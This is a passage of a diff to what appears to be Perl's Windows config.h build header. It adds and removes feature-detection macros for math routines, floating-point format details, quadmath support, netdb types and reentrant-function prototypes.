+ *	Note that there are at least two prctl variants: Linux and Irix.
+ *	While they are somewhat similar, they are incompatible.
  */
 /* HAS_PRCTL_SET_NAME:
  *	This symbol, if defined, indicates that the prctl routine is
@@ -3991,6 +3131,31 @@
  */
 /*#define HAS_RECVMSG		/ **/
 
+/* HAS_REMAINDER:
+ *	This symbol, if defined, indicates that the remainder routine is
+ *	available to return the floating-point remainder.
+ */
+/*#define HAS_REMAINDER		/ **/
+
+/* HAS_REMQUO:
+ *	This symbol, if defined, indicates that the remquo routine is
+ *	available to return the remainder and part of quotient.
+ */
+/*#define HAS_REMQUO		/ **/
+
+/* HAS_RINT:
+ *	This symbol, if defined, indicates that the rint routine is
+ *	available to return the nearest integral value to x as double
+ *	using the current rounding mode.
+ */
+/*#define HAS_RINT		/ **/
+
+/* HAS_ROUND:
+ *	This symbol, if defined, indicates that the round routine is
+ *	available to round to nearest integer, away from zero.
+ */
+/*#define HAS_ROUND		/ **/
+
 /* HAS_SBRK_PROTO:
  *	This symbol, if defined, indicates that the system provides
  *	a prototype for the sbrk() function.  Otherwise, it is up
@@ -4000,6 +3165,13 @@
  */
 /*#define	HAS_SBRK_PROTO	/ **/
 
+/* HAS_SCALBN:
+ *	This symbol, if defined, indicates that the scalbn routine is
+ *	available to multiply floating-point number by integral power
+ *	of radix.
+ */
+/*#define HAS_SCALBN		/ **/
+
 /* HAS_SCALBNL:
  *	This symbol, if defined, indicates that the scalbnl routine is
  *	available.  If ilogbl is also present we can emulate frexpl.
@@ -4080,14 +3252,6 @@
  */
 /*#define HAS_SOCKS5_INIT		/ **/
 
-/* SPRINTF_RETURNS_STRLEN:
- *	This variable defines whether sprintf returns the length of the string
- *	(as per the ANSI spec). Some C libraries retain compatibility with
- *	pre-ANSI C and return a pointer to the passed in buffer; for these
- *	this variable will be undef.
- */
-#define SPRINTF_RETURNS_STRLEN	/**/
-
 /* HAS_SQRTL:
  *	This symbol, if defined, indicates that the sqrtl routine is
  *	available to do long double square roots.
@@ -4133,6 +3297,13 @@
  */
 /*#define HAS_FSTATVFS		/ **/
 
+/* HAS_STRERROR_L:
+ *	This symbol, if defined, indicates that the strerror_l routine is
+ *	available to return the error message for a given errno value in
+ *	a particular locale (identified by a locale_t object).
+ */
+/*#define HAS_STRERROR_L		/ **/
+
 /* HAS_STRFTIME:
  *	This symbol, if defined, indicates that the strftime routine is
  *	available to do time formatting.
@@ -4198,6 +3369,12 @@
  */
 #define	HAS_TELLDIR_PROTO	/**/
 
+/* HAS_TGAMMA:
+ *	This symbol, if defined, indicates that the tgamma routine is
+ *	available to do the gamma function. See also HAS_LGAMMA.
+ */
+/*#define HAS_TGAMMA		/ **/
+
 /* HAS_CTIME64:
  *	This symbol, if defined, indicates that the ctime64 () routine is
  *	available to do the 64bit variant of ctime ()
@@ -4235,6 +3412,12 @@
  */
 /*#define HAS_TIMEGM		/ **/
 
+/* HAS_TRUNC:
+ *	This symbol, if defined, indicates that the trunc routine is
+ *	available to round doubles towards zero.
+ */
+/*#define HAS_TRUNC		/ **/
+
 /* HAS_TRUNCL:
  *	This symbol, if defined, indicates that the truncl routine is
  *	available. If copysignl is also present we can emulate modfl.
@@ -4304,7 +3487,7 @@
  *	This symbol, if defined, removes the legacy default behavior of
  *	including '.' at the end of @INC.
  */
-/*#define DEFAULT_INC_EXCLUDES_DOT	/ **/
+#define DEFAULT_INC_EXCLUDES_DOT	/**/
 
 /* USE_DYNAMIC_LOADING:
  *	This symbol, if defined, indicates that dynamic loading of
@@ -4328,12 +3511,6 @@
 #define	FFLUSH_NULL 		/**/
 /*#define	FFLUSH_ALL 		/ **/
 
-/* I_ASSERT:
- *	This symbol, if defined, indicates that <assert.h> exists and
- *	could be included by the C program to get the assert() macro.
- */
-#define	I_ASSERT		/**/
-
 /* I_BFD:
  *	This symbol, if defined, indicates that <bfd.h> exists and
  *	can be included.
@@ -4448,6 +3625,12 @@
  */
 /*#define	I_PROT		/ **/
 
+/* I_QUADMATH:
+ *	This symbol, if defined, indicates that <quadmath.h> exists and
+ *	should be included.
+ */
+/*#define	I_QUADMATH		/ **/
+
 /* I_SHADOW:
  *	This symbol, if defined, indicates that <shadow.h> exists and
  *	should be included.
@@ -4525,6 +3708,27 @@
  */
 /*#define	I_USTAT		/ **/
 
+/* DOUBLEINFBYTES:
+ *	This symbol, if defined, is a comma-separated list of
+ *	hexadecimal bytes for the double precision infinity.
+ */
+/* DOUBLENANBYTES:
+ *	This symbol, if defined, is a comma-separated list of
+ *	hexadecimal bytes (0xHH) for the double precision not-a-number.
+ */
+/* LONGDBLINFBYTES:
+ *	This symbol, if defined, is a comma-separated list of
+ *	hexadecimal bytes for the long double precision infinity.
+ */
+/* LONGDBLNANBYTES:
+ *	This symbol, if defined, is a comma-separated list of
+ *	hexadecimal bytes (0xHH) for the long double precision not-a-number.
+ */
+#define DOUBLEINFBYTES  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f		/**/
+#define DOUBLENANBYTES  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x7f		/**/
+#define LONGDBLINFBYTES 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f		/**/
+#define LONGDBLNANBYTES 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x7f		/**/
+
 /* PERL_PRIfldbl:
  *	This symbol, if defined, contains the string used by stdio to
  *	format long doubles (format 'f') for output.
@@ -4541,11 +3745,109 @@
  *	This symbol, if defined, contains the string used by stdio to
  *	format long doubles (format 'f') for input.
  */
+/* DOUBLEKIND:
+ *	DOUBLEKIND will be one of
+ *	DOUBLE_IS_IEEE_754_32_BIT_LITTLE_ENDIAN
+ *	DOUBLE_IS_IEEE_754_32_BIT_BIG_ENDIAN
+ *	DOUBLE_IS_IEEE_754_64_BIT_LITTLE_ENDIAN
+ *	DOUBLE_IS_IEEE_754_64_BIT_BIG_ENDIAN
+ *	DOUBLE_IS_IEEE_754_128_BIT_LITTLE_ENDIAN
+ *	DOUBLE_IS_IEEE_754_128_BIT_BIG_ENDIAN
+ *	DOUBLE_IS_IEEE_754_64_BIT_MIXED_ENDIAN_LE_BE
+ *	DOUBLE_IS_IEEE_754_64_BIT_MIXED_ENDIAN_BE_LE
+ *	DOUBLE_IS_VAX_F_FLOAT
+ *	DOUBLE_IS_VAX_D_FLOAT
+ *	DOUBLE_IS_VAX_G_FLOAT
+ *	DOUBLE_IS_IBM_SINGLE_32_BIT
+ *	DOUBLE_IS_IBM_DOUBLE_64_BIT
+ *	DOUBLE_IS_CRAY_SINGLE_64_BIT
+ *	DOUBLE_IS_UNKNOWN_FORMAT
+ */
+/* DOUBLE_HAS_INF:
+ *	This symbol, if defined, indicates that the double has
+ *	the infinity.
+ */
+/* DOUBLE_HAS_NAN:
+ *	This symbol, if defined, indicates that the double has
+ *	the not-a-number.
+ */
+/* DOUBLE_HAS_NEGATIVE_ZERO:
+ *	This symbol, if defined, indicates that the double has
+ *	the negative_zero.
+ */
+/* DOUBLE_HAS_SUBNORMALS:
+ *	This symbol, if defined, indicates that the double has
+ *	the subnormals (denormals).
+ */
+/* DOUBLE_STYLE_CRAY:
+ *	This symbol, if defined, indicates that the double is
+ *	the 64-bit CRAY mainframe format.
+ */
+/* DOUBLE_STYLE_IBM:
+ *	This symbol, if defined, indicates that the double is
+ *	the 64-bit IBM mainframe format.
+ */
+/* DOUBLE_STYLE_IEEE:
+ *	This symbol, if defined, indicates that the double is
+ *	the 64-bit IEEE 754.
+ */
+/* DOUBLE_STYLE_VAX:
+ *	This symbol, if defined, indicates that the double is
+ *	the 64-bit VAX format D or G.
+ */
+#define DOUBLEKIND 3		/**/
+#define DOUBLE_IS_IEEE_754_32_BIT_LITTLE_ENDIAN	1
+#define DOUBLE_IS_IEEE_754_32_BIT_BIG_ENDIAN	2
+#define DOUBLE_IS_IEEE_754_64_BIT_LITTLE_ENDIAN	3
+#define DOUBLE_IS_IEEE_754_64_BIT_BIG_ENDIAN	4
+#define DOUBLE_IS_IEEE_754_128_BIT_LITTLE_ENDIAN	5
+#define DOUBLE_IS_IEEE_754_128_BIT_BIG_ENDIAN	6
+#define DOUBLE_IS_IEEE_754_64_BIT_MIXED_ENDIAN_LE_BE	7
+#define DOUBLE_IS_IEEE_754_64_BIT_MIXED_ENDIAN_BE_LE	8
+#define DOUBLE_IS_VAX_F_FLOAT	9
+#define DOUBLE_IS_VAX_D_FLOAT	10
+#define DOUBLE_IS_VAX_G_FLOAT	11
+#define DOUBLE_IS_IBM_SINGLE_32_BIT	12
+#define DOUBLE_IS_IBM_DOUBLE_64_BIT	13
+#define DOUBLE_IS_CRAY_SINGLE_64_BIT	14
+#define DOUBLE_IS_UNKNOWN_FORMAT		-1
 /*#define PERL_PRIfldbl	"f"	/ **/
 /*#define PERL_PRIgldbl	"g"	/ **/
 /*#define PERL_PRIeldbl	"e"	/ **/
 /*#define PERL_SCNfldbl	"f"	/ **/
+#define DOUBLE_HAS_INF
+#define DOUBLE_HAS_NAN
+#define DOUBLE_HAS_NEGATIVE_ZERO
+#define DOUBLE_HAS_SUBNORMALS
+#undef DOUBLE_STYLE_CRAY
+#undef DOUBLE_STYLE_IBM
+#define DOUBLE_STYLE_IEEE
+#undef DOUBLE_STYLE_VAX
 
+/* DOUBLEMANTBITS:
+ *	This symbol, if defined, tells how many mantissa bits
+ *	there are in double precision floating point format.
+ *	Note that this is usually DBL_MANT_DIG minus one, since
+ *	with the standard IEEE 754 formats DBL_MANT_DIG includes
+ *	the implicit bit, which doesn't really exist.
+ */
+/* LONGDBLMANTBITS:
+ *	This symbol, if defined, tells how many mantissa bits
+ *	there are in long double precision floating point format.
+ *	Note that this can be LDBL_MANT_DIG minus one,
+ *	since LDBL_MANT_DIG can include the IEEE 754 implicit bit.
+ *	The common x86-style 80-bit long double does not have
+ *	an implicit bit.
+ */
+/* NVMANTBITS:
+ *	This symbol, if defined, tells how many mantissa bits
+ *	(not including implicit bit) there are in a Perl NV.
+ *	This depends on which floating point type was chosen.
+ */
+#define DOUBLEMANTBITS  52
+#define LONGDBLMANTBITS 52
+#define NVMANTBITS      52
+
 /* NEED_VA_COPY:
  *	This symbol, if defined, indicates that the system stores
  *	the variable argument list datatype, va_list, in a format
@@ -4622,6 +3924,11 @@
  */
 /* NVSIZE:
  *	This symbol contains the sizeof(NV).
+ *	Note that some floating point formats have unused bytes.
+ *	The most notable example is the x86* 80-bit extended precision
+ *	which comes in byte sizes of 12 and 16 (for 32 and 64 bit
+ *	platforms, respectively), but which only uses 10 bytes.
+ *	Perl compiled with -Duselongdouble on x86* is like this.
  */
 /* NV_PRESERVES_UV:
  *	This symbol, if defined, indicates that a variable of type NVTYPE
@@ -4887,6 +4194,14 @@
 #define	USE_PERLIO		/**/
 #endif
 
+/* USE_QUADMATH:
+ *	This symbol, if defined, indicates that the quadmath library should
+ *	be used when available.
+ */
+#ifndef USE_QUADMATH
+/*#define	USE_QUADMATH		/ **/
+#endif
+
 /* USE_SOCKS:
  *	This symbol, if defined, indicates that Perl should
  *	be built to use socks.
@@ -4895,4 +4210,921 @@
 /*#define	USE_SOCKS		/ **/
 #endif
 
+/* HAS_DRAND48_PROTO:
+ *	This symbol, if defined, indicates that the system provides
+ *	a prototype for the drand48() function.  Otherwise, it is up
+ *	to the program to supply one.  A good guess is
+ *		extern double drand48(void);
+ */
+/*#define	HAS_DRAND48_PROTO	/ **/
+
+/* HAS_GETHOST_PROTOS:
+ *	This symbol, if defined, indicates that <netdb.h> includes
+ *	prototypes for gethostent(), gethostbyname(), and
+ *	gethostbyaddr().  Otherwise, it is up to the program to guess
+ *	them.  See netdbtype.U for probing for various Netdb_xxx_t types.
+ */
+#define	HAS_GETHOST_PROTOS	/**/
+
+/* HAS_GETNET_PROTOS:
+ *	This symbol, if defined, indicates that <netdb.h> includes
+ *	prototypes for getnetent(), getnetbyname(), and
+ *	getnetbyaddr().  Otherwise, it is up to the program to guess
+ *	them.  See netdbtype.U for probing for various Netdb_xxx_t types.
+ */
+/*#define	HAS_GETNET_PROTOS	/ **/
+
+/* HAS_GETPROTO_PROTOS:
+ *	This symbol, if defined, indicates that <netdb.h> includes
+ *	prototypes for getprotoent(), getprotobyname(), and
+ *	getprotobyaddr().  Otherwise, it is up to the program to guess
+ *	them.  See netdbtype.U for probing for various Netdb_xxx_t types.
+ */
+#define	HAS_GETPROTO_PROTOS	/**/
+
+/* HAS_GETSERV_PROTOS:
+ *	This symbol, if defined, indicates that <netdb.h> includes
+ *	prototypes for getservent(), getservbyname(), and
+ *	getservbyaddr().  Otherwise, it is up to the program to guess
+ *	them.  See netdbtype.U for probing for various Netdb_xxx_t types.
+ */
+#define	HAS_GETSERV_PROTOS	/**/
+
+/* HAS_LSEEK_PROTO:
+ *	This symbol, if defined, indicates that the system provides
+ *	a prototype for the lseek() function.  Otherwise, it is up
+ *	to the program to supply one.  A good guess is
+ *		extern off_t lseek(int, off_t, int);
+ */
+#define	HAS_LSEEK_PROTO	/**/
+
+/* Netdb_host_t:
+ *	This symbol holds the type used for the 1st argument
+ *	to gethostbyaddr().
+ */
+/* Netdb_hlen_t:
+ *	This symbol holds the type used for the 2nd argument
+ *	to gethostbyaddr().
+ */
+/* Netdb_name_t:
+ *	This symbol holds the type used for the argument to
+ *	gethostbyname().
+ */
+/* Netdb_net_t:
+ *	This symbol holds the type used for the 1st argument to
+ *	getnetbyaddr().
+ */
+#define Netdb_host_t		char * /**/
+#define Netdb_hlen_t		int /**/
+#define Netdb_name_t		char * /**/
+#define Netdb_net_t		long /**/
+
+/* Select_fd_set_t:
+ *	This symbol holds the type used for the 2nd, 3rd, and 4th
+ *	arguments to select.  Usually, this is 'fd_set *', if HAS_FD_SET
+ *	is defined, and 'int *' otherwise.  This is only useful if you
+ *	have select(), of course.
+ */
+#define Select_fd_set_t 	Perl_fd_set *	/**/
+
+/* Sock_size_t:
+ *	This symbol holds the type used for the size argument of
+ *	various socket calls (just the base type, not the pointer-to).
+ */
+#define Sock_size_t		int /**/
+
+/* ARCHNAME:
+ *	This symbol holds a string representing the architecture name.
+ *	It may be used to construct an architecture-dependant pathname
+ *	where library files may be held under a private library, for
+ *	instance.
+ */
+#define ARCHNAME "MSWin32-x86-perlio"		/**/
+
+/* HAS_ASCTIME_R:
+ *	This symbol, if defined, indicates that the asctime_r routine
+ *	is available to asctime re-entrantly.
+ */
+/* ASCTIME_R_PROTO:
+ *	This symbol encodes the prototype of asctime_r.
+ *	It is zero if d_asctime_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_asctime_r
+ *	is defined.
+ */
+/*#define HAS_ASCTIME_R	   / **/
+#define ASCTIME_R_PROTO 0	   /**/
+
+/* HAS_CRYPT_R:
+ *	This symbol, if defined, indicates that the crypt_r routine
+ *	is available to crypt re-entrantly.
+ */
+/* CRYPT_R_PROTO:
+ *	This symbol encodes the prototype of crypt_r.
+ *	It is zero if d_crypt_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_crypt_r
+ *	is defined.
+ */
+/*#define HAS_CRYPT_R	   / **/
+#define CRYPT_R_PROTO 0	   /**/
+
+/* HAS_CTERMID_R:
+ *	This symbol, if defined, indicates that the ctermid_r routine
+ *	is available to ctermid re-entrantly.
+ */
+/* CTERMID_R_PROTO:
+ *	This symbol encodes the prototype of ctermid_r.
+ *	It is zero if d_ctermid_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctermid_r
+ *	is defined.
+ */
+/*#define HAS_CTERMID_R	   / **/
+#define CTERMID_R_PROTO 0	   /**/
+
+/* HAS_CTIME_R:
+ *	This symbol, if defined, indicates that the ctime_r routine
+ *	is available to ctime re-entrantly.
+ */
+/* CTIME_R_PROTO:
+ *	This symbol encodes the prototype of ctime_r.
+ *	It is zero if d_ctime_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctime_r
+ *	is defined.
+ */
+/*#define HAS_CTIME_R	   / **/
+#define CTIME_R_PROTO 0	   /**/
+
+/* HAS_DRAND48_R:
+ *	This symbol, if defined, indicates that the drand48_r routine
+ *	is available to drand48 re-entrantly.
+ */
+/* DRAND48_R_PROTO:
+ *	This symbol encodes the prototype of drand48_r.
+ *	It is zero if d_drand48_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_drand48_r
+ *	is defined.
+ */
+/*#define HAS_DRAND48_R	   / **/
+#define DRAND48_R_PROTO 0	   /**/
+
+/* HAS_ENDGRENT_R:
+ *	This symbol, if defined, indicates that the endgrent_r routine
+ *	is available to endgrent re-entrantly.
+ */
+/* ENDGRENT_R_PROTO:
+ *	This symbol encodes the prototype of endgrent_r.
+ *	It is zero if d_endgrent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endgrent_r
+ *	is defined.
+ */
+/*#define HAS_ENDGRENT_R	   / **/
+#define ENDGRENT_R_PROTO 0	   /**/
+
+/* HAS_ENDHOSTENT_R:
+ *	This symbol, if defined, indicates that the endhostent_r routine
+ *	is available to endhostent re-entrantly.
+ */
+/* ENDHOSTENT_R_PROTO:
+ *	This symbol encodes the prototype of endhostent_r.
+ *	It is zero if d_endhostent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endhostent_r
+ *	is defined.
+ */
+/*#define HAS_ENDHOSTENT_R	   / **/
+#define ENDHOSTENT_R_PROTO 0	   /**/
+
+/* HAS_ENDNETENT_R:
+ *	This symbol, if defined, indicates that the endnetent_r routine
+ *	is available to endnetent re-entrantly.
+ */
+/* ENDNETENT_R_PROTO:
+ *	This symbol encodes the prototype of endnetent_r.
+ *	It is zero if d_endnetent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endnetent_r
+ *	is defined.
+ */
+/*#define HAS_ENDNETENT_R	   / **/
+#define ENDNETENT_R_PROTO 0	   /**/
+
+/* HAS_ENDPROTOENT_R:
+ *	This symbol, if defined, indicates that the endprotoent_r routine
+ *	is available to endprotoent re-entrantly.
+ */
+/* ENDPROTOENT_R_PROTO:
+ *	This symbol encodes the prototype of endprotoent_r.
+ *	It is zero if d_endprotoent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endprotoent_r
+ *	is defined.
+ */
+/*#define HAS_ENDPROTOENT_R	   / **/
+#define ENDPROTOENT_R_PROTO 0	   /**/
+
+/* HAS_ENDPWENT_R:
+ *	This symbol, if defined, indicates that the endpwent_r routine
+ *	is available to endpwent re-entrantly.
+ */
+/* ENDPWENT_R_PROTO:
+ *	This symbol encodes the prototype of endpwent_r.
+ *	It is zero if d_endpwent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endpwent_r
+ *	is defined.
+ */
+/*#define HAS_ENDPWENT_R	   / **/
+#define ENDPWENT_R_PROTO 0	   /**/
+
+/* HAS_ENDSERVENT_R:
+ *	This symbol, if defined, indicates that the endservent_r routine
+ *	is available to endservent re-entrantly.
+ */
+/* ENDSERVENT_R_PROTO:
+ *	This symbol encodes the prototype of endservent_r.
+ *	It is zero if d_endservent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endservent_r
+ *	is defined.
+ */
+/*#define HAS_ENDSERVENT_R	   / **/
+#define ENDSERVENT_R_PROTO 0	   /**/
+
+/* HAS_GETGRENT_R:
+ *	This symbol, if defined, indicates that the getgrent_r routine
+ *	is available to getgrent re-entrantly.
+ */
+/* GETGRENT_R_PROTO:
+ *	This symbol encodes the prototype of getgrent_r.
+ *	It is zero if d_getgrent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrent_r
+ *	is defined.
+ */
+/*#define HAS_GETGRENT_R	   / **/
+#define GETGRENT_R_PROTO 0	   /**/
+
+/* HAS_GETGRGID_R:
+ *	This symbol, if defined, indicates that the getgrgid_r routine
+ *	is available to getgrgid re-entrantly.
+ */
+/* GETGRGID_R_PROTO:
+ *	This symbol encodes the prototype of getgrgid_r.
+ *	It is zero if d_getgrgid_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrgid_r
+ *	is defined.
+ */
+/*#define HAS_GETGRGID_R	   / **/
+#define GETGRGID_R_PROTO 0	   /**/
+
+/* HAS_GETGRNAM_R:
+ *	This symbol, if defined, indicates that the getgrnam_r routine
+ *	is available to getgrnam re-entrantly.
+ */
+/* GETGRNAM_R_PROTO:
+ *	This symbol encodes the prototype of getgrnam_r.
+ *	It is zero if d_getgrnam_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrnam_r
+ *	is defined.
+ */
+/*#define HAS_GETGRNAM_R	   / **/
+#define GETGRNAM_R_PROTO 0	   /**/
+
+/* HAS_GETHOSTBYADDR_R:
+ *	This symbol, if defined, indicates that the gethostbyaddr_r routine
+ *	is available to gethostbyaddr re-entrantly.
+ */
+/* GETHOSTBYADDR_R_PROTO:
+ *	This symbol encodes the prototype of gethostbyaddr_r.
+ *	It is zero if d_gethostbyaddr_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyaddr_r
+ *	is defined.
+ */
+/*#define HAS_GETHOSTBYADDR_R	   / **/
+#define GETHOSTBYADDR_R_PROTO 0	   /**/
+
+/* HAS_GETHOSTBYNAME_R:
+ *	This symbol, if defined, indicates that the gethostbyname_r routine
+ *	is available to gethostbyname re-entrantly.
+ */
+/* GETHOSTBYNAME_R_PROTO:
+ *	This symbol encodes the prototype of gethostbyname_r.
+ *	It is zero if d_gethostbyname_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyname_r
+ *	is defined.
+ */
+/*#define HAS_GETHOSTBYNAME_R	   / **/
+#define GETHOSTBYNAME_R_PROTO 0	   /**/
+
+/* HAS_GETHOSTENT_R:
+ *	This symbol, if defined, indicates that the gethostent_r routine
+ *	is available to gethostent re-entrantly.
+ */
+/* GETHOSTENT_R_PROTO:
+ *	This symbol encodes the prototype of gethostent_r.
+ *	It is zero if d_gethostent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostent_r
+ *	is defined.
+ */
+/*#define HAS_GETHOSTENT_R	   / **/
+#define GETHOSTENT_R_PROTO 0	   /**/
+
+/* HAS_GETLOGIN_R:
+ *	This symbol, if defined, indicates that the getlogin_r routine
+ *	is available to getlogin re-entrantly.
+ */
+/* GETLOGIN_R_PROTO:
+ *	This symbol encodes the prototype of getlogin_r.
+ *	It is zero if d_getlogin_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getlogin_r
+ *	is defined.
+ */
+/*#define HAS_GETLOGIN_R	   / **/
+#define GETLOGIN_R_PROTO 0	   /**/
+
+/* HAS_GETNETBYADDR_R:
+ *	This symbol, if defined, indicates that the getnetbyaddr_r routine
+ *	is available to getnetbyaddr re-entrantly.
+ */
+/* GETNETBYADDR_R_PROTO:
+ *	This symbol encodes the prototype of getnetbyaddr_r.
+ *	It is zero if d_getnetbyaddr_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyaddr_r
+ *	is defined.
+ */
+/*#define HAS_GETNETBYADDR_R	   / **/
+#define GETNETBYADDR_R_PROTO 0	   /**/
+
+/* HAS_GETNETBYNAME_R:
+ *	This symbol, if defined, indicates that the getnetbyname_r routine
+ *	is available to getnetbyname re-entrantly.
+ */
+/* GETNETBYNAME_R_PROTO:
+ *	This symbol encodes the prototype of getnetbyname_r.
+ *	It is zero if d_getnetbyname_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyname_r
+ *	is defined.
+ */
+/*#define HAS_GETNETBYNAME_R	   / **/
+#define GETNETBYNAME_R_PROTO 0	   /**/
+
+/* HAS_GETNETENT_R:
+ *	This symbol, if defined, indicates that the getnetent_r routine
+ *	is available to getnetent re-entrantly.
+ */
+/* GETNETENT_R_PROTO:
+ *	This symbol encodes the prototype of getnetent_r.
+ *	It is zero if d_getnetent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetent_r
+ *	is defined.
+ */
+/*#define HAS_GETNETENT_R	   / **/
+#define GETNETENT_R_PROTO 0	   /**/
+
+/* HAS_GETPROTOBYNAME_R:
+ *	This symbol, if defined, indicates that the getprotobyname_r routine
+ *	is available to getprotobyname re-entrantly.
+ */
+/* GETPROTOBYNAME_R_PROTO:
+ *	This symbol encodes the prototype of getprotobyname_r.
+ *	It is zero if d_getprotobyname_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobyname_r
+ *	is defined.
+ */
+/*#define HAS_GETPROTOBYNAME_R	   / **/
+#define GETPROTOBYNAME_R_PROTO 0	   /**/
+
+/* HAS_GETPROTOBYNUMBER_R:
+ *	This symbol, if defined, indicates that the getprotobynumber_r routine
+ *	is available to getprotobynumber re-entrantly.
+ */
+/* GETPROTOBYNUMBER_R_PROTO:
+ *	This symbol encodes the prototype of getprotobynumber_r.
+ *	It is zero if d_getprotobynumber_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobynumber_r
+ *	is defined.
+ */
+/*#define HAS_GETPROTOBYNUMBER_R	   / **/
+#define GETPROTOBYNUMBER_R_PROTO 0	   /**/
+
+/* HAS_GETPROTOENT_R:
+ *	This symbol, if defined, indicates that the getprotoent_r routine
+ *	is available to getprotoent re-entrantly.
+ */
+/* GETPROTOENT_R_PROTO:
+ *	This symbol encodes the prototype of getprotoent_r.
+ *	It is zero if d_getprotoent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotoent_r
+ *	is defined.
+ */
+/*#define HAS_GETPROTOENT_R	   / **/
+#define GETPROTOENT_R_PROTO 0	   /**/
+
+/* HAS_GETPWENT_R:
+ *	This symbol, if defined, indicates that the getpwent_r routine
+ *	is available to getpwent re-entrantly.
+ */
+/* GETPWENT_R_PROTO:
+ *	This symbol encodes the prototype of getpwent_r.
+ *	It is zero if d_getpwent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwent_r
+ *	is defined.
+ */
+/*#define HAS_GETPWENT_R	   / **/
+#define GETPWENT_R_PROTO 0	   /**/
+
+/* HAS_GETPWNAM_R:
+ *	This symbol, if defined, indicates that the getpwnam_r routine
+ *	is available to getpwnam re-entrantly.
+ */
+/* GETPWNAM_R_PROTO:
+ *	This symbol encodes the prototype of getpwnam_r.
+ *	It is zero if d_getpwnam_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwnam_r
+ *	is defined.
+ */
+/*#define HAS_GETPWNAM_R	   / **/
+#define GETPWNAM_R_PROTO 0	   /**/
+
+/* HAS_GETPWUID_R:
+ *	This symbol, if defined, indicates that the getpwuid_r routine
+ *	is available to getpwuid re-entrantly.
+ */
+/* GETPWUID_R_PROTO:
+ *	This symbol encodes the prototype of getpwuid_r.
+ *	It is zero if d_getpwuid_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwuid_r
+ *	is defined.
+ */
+/*#define HAS_GETPWUID_R	   / **/
+#define GETPWUID_R_PROTO 0	   /**/
+
+/* HAS_GETSERVBYNAME_R:
+ *	This symbol, if defined, indicates that the getservbyname_r routine
+ *	is available to getservbyname re-entrantly.
+ */
+/* GETSERVBYNAME_R_PROTO:
+ *	This symbol encodes the prototype of getservbyname_r.
+ *	It is zero if d_getservbyname_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyname_r
+ *	is defined.
+ */
+/*#define HAS_GETSERVBYNAME_R	   / **/
+#define GETSERVBYNAME_R_PROTO 0	   /**/
+
+/* HAS_GETSERVBYPORT_R:
+ *	This symbol, if defined, indicates that the getservbyport_r routine
+ *	is available to getservbyport re-entrantly.
+ */
+/* GETSERVBYPORT_R_PROTO:
+ *	This symbol encodes the prototype of getservbyport_r.
+ *	It is zero if d_getservbyport_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyport_r
+ *	is defined.
+ */
+/*#define HAS_GETSERVBYPORT_R	   / **/
+#define GETSERVBYPORT_R_PROTO 0	   /**/
+
+/* HAS_GETSERVENT_R:
+ *	This symbol, if defined, indicates that the getservent_r routine
+ *	is available to getservent re-entrantly.
+ */
+/* GETSERVENT_R_PROTO:
+ *	This symbol encodes the prototype of getservent_r.
+ *	It is zero if d_getservent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservent_r
+ *	is defined.
+ */
+/*#define HAS_GETSERVENT_R	   / **/
+#define GETSERVENT_R_PROTO 0	   /**/
+
+/* HAS_GETSPNAM_R:
+ *	This symbol, if defined, indicates that the getspnam_r routine
+ *	is available to getspnam re-entrantly.
+ */
+/* GETSPNAM_R_PROTO:
+ *	This symbol encodes the prototype of getspnam_r.
+ *	It is zero if d_getspnam_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getspnam_r
+ *	is defined.
+ */
+/*#define HAS_GETSPNAM_R	   / **/
+#define GETSPNAM_R_PROTO 0	   /**/
+
+/* HAS_GMTIME_R:
+ *	This symbol, if defined, indicates that the gmtime_r routine
+ *	is available to gmtime re-entrantly.
+ */
+/* GMTIME_R_PROTO:
+ *	This symbol encodes the prototype of gmtime_r.
+ *	It is zero if d_gmtime_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gmtime_r
